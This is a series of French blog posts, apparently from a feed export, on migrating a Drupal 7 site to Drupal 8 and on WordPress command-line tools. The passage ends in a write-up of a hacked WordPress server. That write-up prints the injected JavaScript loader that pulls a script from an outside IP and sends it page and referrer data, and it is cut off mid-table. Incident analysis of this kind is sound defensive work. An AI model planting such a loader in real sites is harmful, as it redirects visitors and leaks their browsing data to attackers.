CMS https://www.vincentliefooghe.net/ fr Migration Media et Images Inline https://www.vincentliefooghe.net/content/migration-media-et-images-inline <span class="field field--name-title field--type-string field--label-hidden">Migration Media et Images Inline</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Dans la série d'articles sur la migration de mon site <a href="https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8">https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8 </a> j'en viens maintenant à une partie qui m'a pris pas mal de temps et demandé un peu de développement.</p> <p>Sur mon site en Drupal 7, j'avais utilisé le module Media_Wysiwyg et Colorbox, qui me permettaient d'insérer des images directement dans le texte.</p> <p>Je n'ai pas trouvé d'équivalent sous Drupal 8, mais en utilisant comme format d'affichage "Colorbox" pour le champ media_image, ceci répond à mon besoin : ouvrir un champ image dans une "lightbox".</p> <article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/2020-04/Capture%20d%E2%80%99%C3%A9cran%20de%202020-04-20%2021-58-11.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Définition du format d'affichage Media Image&quot;}" role="button" title="Définition du format d'affichage Media Image" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Définition du format d'affichage Media Image&quot;}"><img src="/sites/default/files/styles/large/public/2020-04/Capture%20d%E2%80%99%C3%A9cran%20de%202020-04-20%2021-58-11.png?itok=nlAgY3jD" width="480" height="154" alt="Définition du format d'affichage Media Image" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article><p>Il reste donc à convertir les fichiers en média, et ensuite à convertir, dans le corps du texte de chaque contenu, les tags "colorbox" en tags "drupal media".</p> <h2>Création des Media liés aux fichiers</h2> <p>Lors de la migration, les fichiers ont bien été importés. Par contre ils ne sont pas reconnus comme <em>media</em> par Drupal ,et donc pas réutilisables.</p> <p>Après avoir cherché - en vain - des modules qui géraient ceci, j'ai fini par passer par un bout de programme PHP qui utilise les fonctions de Drupal pour réaliser cette opération.</p> <p>Le code php est le suivant :</p> <pre style="margin: 0px; text-indent: 0px;"> &lt;?php // Create Media images from file use Drupal\media\Entity\Media; // Requete pour recupérer les fichiers de type Image $results = \Drupal::database()-&gt;query("select * from file_managed where filemime like 'image%'")-&gt;fetchAll(); foreach ($results as $file ) { echo "File name:",$file-&gt;filename," Id : ",$file-&gt;fid," mime : ",$file-&gt;filemime," uid : ",$file-&gt;uid; echo "Creation du Media Image pour ",$file-&gt;filename,PHP_EOL; $media = Media::create([ 'bundle' =&gt; 'image', 'uid' =&gt; $file-&gt;uid, 'langcode' =&gt; $file-&gt;langcode, 'field_media_image' =&gt; [ 'target_id' =&gt; $file-&gt;fid, 'alt' =&gt; $file-&gt;filename ] ]); $media-&gt;setPublished(TRUE); $retour=$media-&gt;save(); if ( $retour != 1 ) { echo "Retour KO ? ",$retour,PHP_EOL; } } return (TRUE);</pre><p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"> </p> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">On peut le lancer avec drush, via la commande :</p> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"> </p> <pre> drush --uri=drupal.loc scr /chemin/vers/mon/fichier.php</pre><p>Après cette étape, on récupère bien dans la librairies de media tous les fichiers</p> <h2 style="margin: 0px; text-indent: 0px;">Reprise des images inline</h2> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"> </p> <p class="western">Pour convertir les tags, j'ai développé un programme PHP qui va remplacer les instructions inline Colorbox, par exemple</p> <pre> &lt;p&gt;[[{"type":"media","view_mode":"colorbox","fid":"88","attributes":{"alt":"","class":"media-image","height":"300","typeof":"foaf:Image","width":"494"}}]]&lt;/p&gt;</pre><p class="western">par</p> <pre> &lt;drupal-media data-align="center" data-entity-type="media" data-entity-uuid="b5631639-11f9-4945-85b7-85a477cbdcf8"&gt;&lt;/drupal-media&gt;</pre><p class="western">Le script sera lancé avec en paramètre le Node Id à traiter :</p> <pre> php mediaInline.php -i nid</pre><p class="western">Par exemple</p> <pre> php mediaInline.php -i 136</pre><p class="western">Note : j'ai fait le choix de traiter les contenus un par un. Au total, j'avais identifié une vingtaine d'articles concernés. La migration unitaire me permettait de vérifier le traitement pour chacun.</p> <p class="western">Afin de voir le résultat, il faut vider le cache Drupal avec la commande :</p> <pre> drush cr</pre><p> </p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span class="field field--name-created field--type-created field--label-hidden">lun 20/04/2020 - 21:54</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> <div class="field__item"><a href="/tags/media" hreflang="fr">media</a></div> </div> </div> <div class="field field--name-field-fichier field--type-file field--label-above"> <div class="field__label">Fichier</div> <div class="field__items"> <div class="field__item"> <span class="file file--mime-application-pdf file--application-pdf"> <a href="/sites/default/files/mediaInline.php_.pdf" type="application/pdf" title="mediaInline.php_.pdf">Script de migration Colorbox vers media</a></span> </div> </div> </div> <section class="field field--name-comment-node-book field--type-comment field--label-hidden comment-wrapper"> <h2 class="title comment-form__title">Ajouter un commentaire</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=205&amp;2=comment_node_book&amp;3=comment_node_book" token="fPxOoNJNWdkHGUVo_eQPh31e8VYhG0jBWRM4c513qDE"></drupal-render-placeholder> </section> Mon, 20 Apr 2020 19:54:26 +0000 vincentl 205 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/migration-media-et-images-inline#comments Migration avec le module migrate_upgrade https://www.vincentliefooghe.net/content/migration-avec-le-module-migrateupgrade <span class="field field--name-title field--type-string field--label-hidden">Migration avec le module migrate_upgrade</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h2>Installation et activation des modules Drush requis</h2> <p>On va installer les 2 modules suivants : migrate_upgrade, migrate_tools.</p> <pre> <code>composer require drupal/migrate_upgrade composer require drupal/migrate_tools </code></pre><p>Puis activer les modules :</p> <pre> <code>drush pm:enable migrate_upgrade migrate_tools -y </code></pre><p>Dans le fichier <em>settings.php</em> , il faut ajouter la définition de la base source.</p> <p><strong>Important</strong> : elle doit s'appeler <strong>migrate</strong>.</p> <p>Par exemple :</p> <pre> <code>$databases['migrate']['default'] = array ( 'database' =&gt; 'dbdrupal7', 'username' =&gt; 'user_drupal7', 'password' =&gt; 'mdp_drupal7', 'prefix' =&gt; '', 'host' =&gt; 'localhost', 'port' =&gt; '3306', 'namespace' =&gt; 'Drupal\\Core\\Database\\Driver\\mysql', 'driver' =&gt; 'mysql' ); </code></pre><h2>Générer la migration Drupal 7 vers Drupal 8</h2> <p>Dans la version que j'ai installé, on peut utiliser <em>migrate_upgrade</em> pour générer les scripts de migration, qui seront lancés avec <em>drush</em>.</p> <h3>Prérequis</h3> <p>Attention : à cause d'une incompatibilité avec drush 10, cette fonction nécessite que l'on modifie le fichier <code>vendor/drush/drush/includes/drush.inc</code> pour ajouter la définition de drush_print :</p> <pre style="margin: 0px; text-indent: 0px;"> function drush_print($message = '', $indent = 0, $handle = NULL, $newline = TRUE) { $msg = str_repeat(' ', $indent) . (string)$message; if ($newline) { $msg .= &amp;quot;\n&amp;quot;; } if (($charset = 'UTF-8' ) &amp;amp;&amp;amp; function_exists('iconv')) { $msg = iconv('UTF-8', $charset, $msg); } if (!$handle) { $handle = STDOUT; } fwrite($handle, $msg);</pre><p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">}</p> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"> </p> <p>Sinon on a le message :</p> <pre> drush migrate-upgrade --legacy-db-key=migrate --configure-only [error] Error: Call to undefined function drush_get_option() in drush_print()</pre><p>Lancer la commande avec le chemin vers le répertoire source "legacy", ce qui permet de migrer les fichiers également :</p> <pre> drush migrate-upgrade --legacy-db-key=migrate --legacy-root /var/www/drupal7/vincentl --migration-prefix=upg1_ --configure-only</pre><p class="western"><span style="line-height:100%">On peut ensuite voir le résultat avec la commande drush migrate-status</span></p> <p class="western"><span style="line-height:100%">Et on peut lancer la migration avec :</span></p> <pre> drush migrate:import upg1_d7_taxonomy_vocabulary drush migrate:import upg1_d7_taxonomy_term_categorie drush migrate:import upg1_d7_taxonomy_term_tags drush migrate-import --group=migrate_drupal_7 </pre><p><strong>Note</strong> : je lance d'abord les migrations de taxonomie pour que la génération des liens de menu se passe correctement. Comme dit précédemment, le processus est assez itératif et a demandé plusieurs essais avant de trouver les bons réglages.</p> <p>Après cette étape, le contenu a été migré, ainsi que les types de contenu, les menus, etc.</p> <p>Il reste à faire quelques mises au point et reprise de paramétrage sur les formats de texte (insertion du bouton media par exemple), ainsi que refaire le thème, et traiter le cas des images <em>inline</em>.</p> <p> </p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span class="field field--name-created field--type-created field--label-hidden">lun 20/04/2020 - 21:42</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> </div> </div> <section class="field field--name-comment-node-book field--type-comment field--label-hidden comment-wrapper"> <h2 class="title comment-form__title">Ajouter un commentaire</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=204&amp;2=comment_node_book&amp;3=comment_node_book" token="KVD93o-80gUsSKm2muCPtDa4b3TQ3e1ZtQ8mC6723F0"></drupal-render-placeholder> </section> Mon, 20 Apr 2020 19:42:22 +0000 vincentl 204 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/migration-avec-le-module-migrateupgrade#comments Processus de migration vers Drupal 8 https://www.vincentliefooghe.net/content/processus-migration-vers-drupal-8 <span class="field field--name-title field--type-string field--label-hidden">Processus de migration vers Drupal 8</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h2>Processus de migration</h2> <p>Le processus de migration a été testé plusieurs fois. Je suis parti sur la base d'une sauvegarde du site Drupal 7 (fichiers + base de données).</p> <p>J'ai installé ça dans un container LXC sur mon PC, ce qui me permettra de supprimer tout cela une fois la migration terminée.</p> <p>Au final, on a donc un container sous Debian 10 avec PHP 7.3.11 et une base MariaDB 10.1.</p> <p>L'idée est donc la suivante :</p> <ul><li>création d'une base de données pour Drupal 8</li> <li>installation d'un site en Drupal 8, en mode "standard", mais sans contenu</li> <li>installation et activation des modules portés sous Drupal 8</li> <li>installation et activation des modules de migration</li> <li>lancement de la migration des contenus</li> <li>reprise des média et de leur affichage (la migration ne gère pas ce point a priori)</li> <li>ajustements manuels / reparamétrage dans la cible D8.</li> </ul><p>Le processus a été fait de manière itérative, je m'y suis repris à 3 ou 4 fois avant d'avoir un processus qui tienne la route.</p> <h2>Installation Drupal 8</h2> <p>Une fois la base de données créée, on procède à l'installation de Drupal 8.</p> <p>A la date d'installation, la version est Drupal 8.8.5.</p> <p>Il est maintenant fortement recommandé d'utiliser <em>composer</em> pour installer et mettre à jour Drupal.</p> <p>Sachant que même l'installation de modules utilise <em>composer</em>, c'est la solution que j'ai utilisé. C'est d'ailleurs très pratique quand on refaire plusieurs fois la même installation, puisqu'une fois le fichier _composer.json _ généré, il est possible de s'en resservir.</p> <p>Mon fichier comprend les modules suivants :</p> <pre> <code>"repositories": [ { "type": "composer", "url": "https://packages.drupal.org/8" } ], "require": { "composer/installers": "^1.2", "drupal/colorbox": "^1.4", "drupal/core-composer-scaffold": "^8.8", "drupal/core-project-message": "^8.8", "drupal/core-recommended": "^8.8", "drupal/honeypot": "^1.30", "drupal/pathauto": "^1.6", "drupal/tagclouds": "^1.0", "drupal/token": "^1.6", "drupal/xmlsitemap": "^1.0@RC", "drush/drush": "^10.2" }, </code></pre><p>On remarquera que <em>drush</em> est installé en même temps que Drupal.</p> <p>Une fois le répertoire d'installation créé, et le fichier <em>composer.json</em> copié dans ce répertoire, l'installation se fait simplement :</p> <pre> composer install</pre><p>A ce niveau, on peut déjà accéder au nouveau site (il faut auparavant avoir paramétré le virtualhost qui pointe sur le bon répertoire), entrer les paramètres de la base de données. J'ai personnellement choisi d'installer uniquement le français, car je ne vais pas gérer le multilingue.</p> <p>Comme le site sera migré, on peut s'arrêter avant la configuration du site.</p> <p>L'étape suivante est de préparer et lancer la migration.</p> <p> </p> <p> </p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span class="field field--name-created field--type-created field--label-hidden">dim 19/04/2020 - 12:45</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> </div> </div> <section class="field field--name-comment-node-book field--type-comment field--label-hidden comment-wrapper"> <h2 class="title comment-form__title">Ajouter un commentaire</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=203&amp;2=comment_node_book&amp;3=comment_node_book" token="xD-sOgwyT6pbo6nlI2ZTcPkiu5rO3q8ptqPnaVjYMI0"></drupal-render-placeholder> </section> Sun, 19 Apr 2020 10:45:31 +0000 vincentl 203 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/processus-migration-vers-drupal-8#comments Migration Drupal 7 vers Drupal 8 https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8 <span class="field field--name-title field--type-string field--label-hidden">Migration Drupal 7 vers Drupal 8</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Après plusieurs années sous Drupal 7, et l'arrivée imminente de Drupal 9, il était temps pour moi de migrer mon site sur Drupal 8, d'autant que les dernières versions ont maintenant des utilitaires de migration.</p> <h2>Situation initiale</h2> <p>Mon site perso n'est pas très complexe, ni au niveau contenu (environ 200 articles), ni au niveau modules Drupal.</p> <p>La version utilisée est <strong>Drupal 7.69</strong>.</p> <p>En plus des modules du "<em>core</em>", j'utilise des choses plutôt classiques :</p> <ul><li>ctools (pré-requis pour pas mal de choses)</li> <li>blog (a disparu de la V8, c'est un type de contenu comme les autres)</li> <li>media et media_wysiwyg (pour insérer les images dans le contenu)</li> <li>colorbox (pour afficher les images dans une box en surimpression)</li> <li>pathauto (permet de générer automatiquement un alias)</li> <li>botcha (comme anti-spam)</li> <li>tagclouds (affiche les tags sous forme de <em>nuage</em>)</li> <li>xmlsitemap</li> </ul><p>Le thème est un développement <em>custom</em>, basé sur Adaptative Theme. Il sera à refaire.</p> <p>Dans tout ça, les seuls module non portés en D8 et pour lesquels il faudra trouver une alternative sont <em>media_colorbox</em> et <em>botcha</em>.</p> <p>Pour l'antispam, j'ai opté pour le module <em>honeypot</em>, et pour <em>media_colorbox</em>, le paramétrage de l'affichage pour les médias de type image va suffire.</p> <p>Côté volumétrie, on a :</p> <ul><li>159 fichiers</li> <li>199 articles</li> <li>4 "<em>books</em>" (série d'articles sur le même sujet)</li> <li>64 commentaires.</li> </ul><p>On utilise 2 langues : français et anglais (9 en anglais, le reste en français ou neutre).</p> <h2>Préparation du site sous Drupal 7</h2> <p>Afin de simplifier la migration, je vais changer la langue des articles en anglais pour les assigner au français ou au neutre.</p> <p>Pour les alias d'URL, même modification (on assigne tout au "All languages").</p> <p>Vu la faible volumétrie, je fais cela directement via l'interface web de Drupal, ce qui me permet de m'assurer que tous les champs sont correctement mis à jour.</p> <p>Suite aux tests effectués, j'ai aussi modifié le champ <em>field_alt_text</em> pour enlever <em>colorbox_link</em> du mode d'affichage.</p> <p>Les différentes étapes de la migration seront détaillées dans la suite de cette série d'articles, avec les problèmes que j'ai pu rencontrer.</p> <p> </p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">Vincent</span></span> <span class="field field--name-created field--type-created field--label-hidden">dim 19/04/2020 - 12:40</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> <div class="field__item"><a href="/tags/planetdrupal" hreflang="fr">planetdrupal</a></div> </div> </div> <section class="field field--name-comment-node-book field--type-comment field--label-hidden comment-wrapper"> <h2 class="title comment-form__title">Ajouter un commentaire</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=202&amp;2=comment_node_book&amp;3=comment_node_book" token="palsdtS-Zk7K9WxnQeMy0V4EXY9tNqt1fpWt9kALVmg"></drupal-render-placeholder> </section> Sun, 19 Apr 2020 10:40:55 +0000 Vincent 202 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8#comments Changer le nom du site (URL) de Wordpress https://www.vincentliefooghe.net/content/changer-le-nom-du-site-url-wordpress <span property="dc:title" class="field field--name-title field--type-string field--label-hidden">Changer le nom du site (URL) de Wordpress</span> <div property="content:encoded" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item">Contrairement à Drupal, Wordpress stocke dans sa base de données l'URL complète du site. Ceci inclut également le protocole (http ou https).Du coup, en cas de passage d'un site en https, ou du transfert d'un site de développemnt en production (avec changement d'URL, par exemple de dev.monsupersite.org en <a href="http://www.monsupersite.org">www.monsupersite.org</a>), on perd une grande partie du contenu (média, éventuellement CSS).Il est possible de résoudre le problème, avec Search-Replace-DB-master. C'est un ensemble de scripts php.<h2>Installation</h2>Récupérer sur <a href="https://github.com/interconnectit/Search-Replace-DB">https://github.com/interconnectit/Search-Replace-DB</a><h2>Utilisation</h2>Le script travaille uniquement sur la base de données. Il peut donc être lancé à partir de n'importe quel répertoire.Il utilise les paramètres suivants :<ul><li>-h : host de la base de données</li><li>-n : nom de la base de données</li><li>-u : utilisateur de la base</li><li>-p : mot de passe</li><li>-z : en mode "dry run". Ceci permet d'avoir un retour sur ce qui sera fait, sans faire les modifications</li><li>-s : URL de départ</li><li>-r : URL cible</li></ul>Par exemple, si on veut passer notre site, développé avec l'URL <a href="http://dev.monsupersite.org">http://dev.monsupersite.org</a>, sur un environnement de production en <a href="https://www.monsupersite.org">https://www.monsupersite.org</a> :Lancement en mode Dry Run : (option -z) php srdb.cli.php -h localhost -n monsupersite -u monuser -p monmotdepasse -z -s 'http://dev.monsupersite.org' -r 'https://www.monsupersite.org' Je recommande de faire une sauvegarde de la base mysqldump -u monuser --password=monmotdepasse monsupersite &gt; monsupersite.sql.dmp Puis on lance en "<em>vrai</em>" :  php srdb.cli.php -h localhost -n monsupersite -u monuser -p monmotdepasse -z -s 'http://dev.monsupersite.org' -r 'https://www.monsupersite.org'  </div> <span rel="sioc:has_creator" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span property="dc:date dc:created" content="2017-08-23T07:54:41+00:00" datatype="xsd:dateTime" class="field field--name-created field--type-created field--label-hidden">mer 23/08/2017 - 09:54</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/tags/wordpress" hreflang="fr">wordpress</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> Wed, 23 Aug 2017 07:54:41 +0000 vincentl 182 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/changer-le-nom-du-site-url-wordpress#comments Wordpress : utiliser WP-CLI pour gére wordpress en ligne de commande https://www.vincentliefooghe.net/content/wordpress-utiliser-wp-cli-pour-g%C3%A9re-wordpress-ligne-commande <span property="dc:title" class="field field--name-title field--type-string field--label-hidden">Wordpress : utiliser WP-CLI pour gére wordpress en ligne de commande</span> <div property="content:encoded" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item">Autant pour Drupal, l'outil drush est très connu et permet de simplifier et d'accélérer les choses (installation de modules, mises à jour, nettoyage du cache), autant il semble que l'utilisation de la ligne de commande pour Wordpress n'est pas très répandu.Cependant, il existe un outil <a href="https://wp-cli.org/">wp-cli</a>, qui fournit des fonctionnalités relativement semblables.Je ne reprends pas ici toutes les commandes, vous pouvez vous référer au site d'origine.<h2>Installation</h2>L'installation (et l'utilisation) nécessite bien sûr d'avoir un accès au serveur en ligne de commande. Il n'est donc pas possible de l'utiliser sur un hébergement mutualisé. On installe via un fichier phar curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar chmod +x wp-cli.phar sudo mv wp-cli.phar /usr/local/bin/wp-cli <strong>Note</strong> : dans la documentation "officielle", ils utilisent le raccourci <em>wp</em>. Je préfère <em>wp-cli</em>. Libre à vous d'adapter le nom de l'exécutable...<h2>Utilisation</h2>Voici les commandes que j'utilise le plus. Il y en a d'autres. On peut se référer à la <a href="https://developer.wordpress.org/cli/commands/">documentation</a>.<h3>Vérifier les versions</h3>Pour le Core : <em>wp-cli core version</em>Exemple : wp-cli core version 4.8.1 On peut aussi vérifier si une mise à jour du Core est disponible, avec <em>wp-cli core check-update</em> : wp-cli core check-update Success: WordPress is at the latest version. Pour les Plugins : <em>wp-cli plugin status</em>Exemple : wp-cli plugin status 7 installed plugins: A advanced-wp-columns 2.0.6 A column-shortcodes 1.0 A contact-form-7 4.9 A ml-slider 3.5.1 A responsive-lightbox 1.7.2 A shortcodes-ultimate 4.10.2 UA wordpress-seo 4.9 Legend: A = Active, U = Update Available <h3>Lancer les mises à jour</h3>Pour le Core, on utlise wp-cli core update Pour les plugins, c'est wp-cli update [nom du plugin] Exemple : wp-cli plugin update contact-form-7 Activation du mode maintenance... Téléchargement de la mise à jour depuis https://downloads.wordpress.org/plugin/contact-form-7.4.9.zip... Using cached file '/www/toto/.wp-cli/cache/plugin/contact-form-7-4.9.zip'... Décompression de la mise à jour... Installation de la dernière version... Retrait de l’ancienne version de l’extension... L’extension a bien été mise à jour. Désactivation du mode maintenance... +----------------+-------------+-------------+---------+ | name | old_version | new_version | status | +----------------+-------------+-------------+---------+ | contact-form-7 | 4.8 | 4.9 | Updated | +----------------+-------------+-------------+---------+ Success: Updated 1 of 1 plugins.  <h2>Conclusion</h2>Cet utilitaire permet de se simplifier la vie, et participe également à la sécurisation des sites wordpress. En effet, on peut avoir des répertoires qui appartiennent à un utilisateur différent de celui qui fait tourner le site (www-data généralement).En mettant des droits d'accès en lecture seule pour <em>www-data</em>, sur les répertoires des modules et du core, on limite les risques d'attaques. </div> <span rel="sioc:has_creator" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span property="dc:date dc:created" content="2017-08-23T07:44:59+00:00" datatype="xsd:dateTime" class="field field--name-created field--type-created field--label-hidden">mer 23/08/2017 - 09:44</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/tags/wordpress" hreflang="fr">wordpress</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> Wed, 23 Aug 2017 07:44:59 +0000 vincentl 181 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/wordpress-utiliser-wp-cli-pour-g%C3%A9re-wordpress-ligne-commande#comments Hack de sites Wordpress avec jquery.min.php / jquery*js https://www.vincentliefooghe.net/content/hack-sites-wordpress-avec-jqueryminphp-jqueryjs <span property="dc:title" class="field field--name-title field--type-string field--label-hidden">Hack de sites Wordpress avec jquery.min.php / jquery*js</span> <div property="content:encoded" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Depuis quelques jours, je recevais des mails de <a href="https://mmonit.com/monit/">monit</a>, indiquant un <em>load average</em> trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).</p> <p>Cela m'a semblé curieux, car il  s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.</p> <p>Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :</p> <pre>mailq</pre><p>Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.</p> <p>Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.</p> <p>Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers  des sites pour adultes...</p> <p>En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.</p> <h2>Contenu des fichiers infectés</h2> <p>Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé <strong>__cfgoid</strong>. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.</p> <p>Une ligne de javascript a été insérée dans les fichiers : </p> <pre>&lt;script&gt;var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d&lt;c.length;d++){for(va r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__ cfgoid")&amp;&amp;(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&amp;&amp;(setCookie("__cfgoid",2,1),document.write('&lt;script type="text/javascr ipt" src="' + 'http://80.90.43.202/js/jquery.min.php' + '?key=b64' + '&amp;utm_campaign=' + 'snt2014' + '&amp;utm_source=' + window.location .host + '&amp;utm_medium=' + '&amp;utm_content=' + window.location + '&amp;utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x&lt;y; x++) {if (metas[x].name.toLowerCase() = = "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match( /utm_term=([^&amp;]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&amp;se_referrer=' + encodeURIComponent(document.referrer) + '"&gt;&lt;' + '/script&gt;')));&lt;/script&gt; &lt;/head&gt; </pre><p>Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :</p> <pre>#!/bin/bash # Recherche les fichiers infectes BADFILE=$(grep -lR jquery.min.php *) # # pour chacun for fic in $BADFILE ; do echo === Traitement de $fic === echo sed -i.bak '/cfgoid/d' $fic sed -i.bak '/cfgoid/d' $fic done </pre><p>Le script recherche d'abord la chaine <strong>jquery.min.php</strong> dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.</p> <p>Un arrêt / relance du serveur http Apache permet de vider le cache php...</p> <p>Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.</p> <p>Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rend pas les choses faciles.</p> <p>Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. Les fichiers à inclure ont une extension <em>.inc</em> L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...</p> <h2>Utilisateur Wordpress pirate</h2> <p>En regardant dans la table wp_users, on découvre également un utilisateur inconnu, avec une date d'enregistrement nulle ;</p> <pre>select user_login , user_registered from wp_users; +-----------------------------+---------------------+ | user_login | user_registered | +-----------------------------+---------------------+ | XXX | 2013-02-25 15:19:19 | | XXXX | 2013-03-05 11:15:08 | | XXXX | 2014-12-22 21:19:38 | | wp.service.controller.OlVSC | 0000-00-00 00:00:00 | | XXXX | 2016-12-01 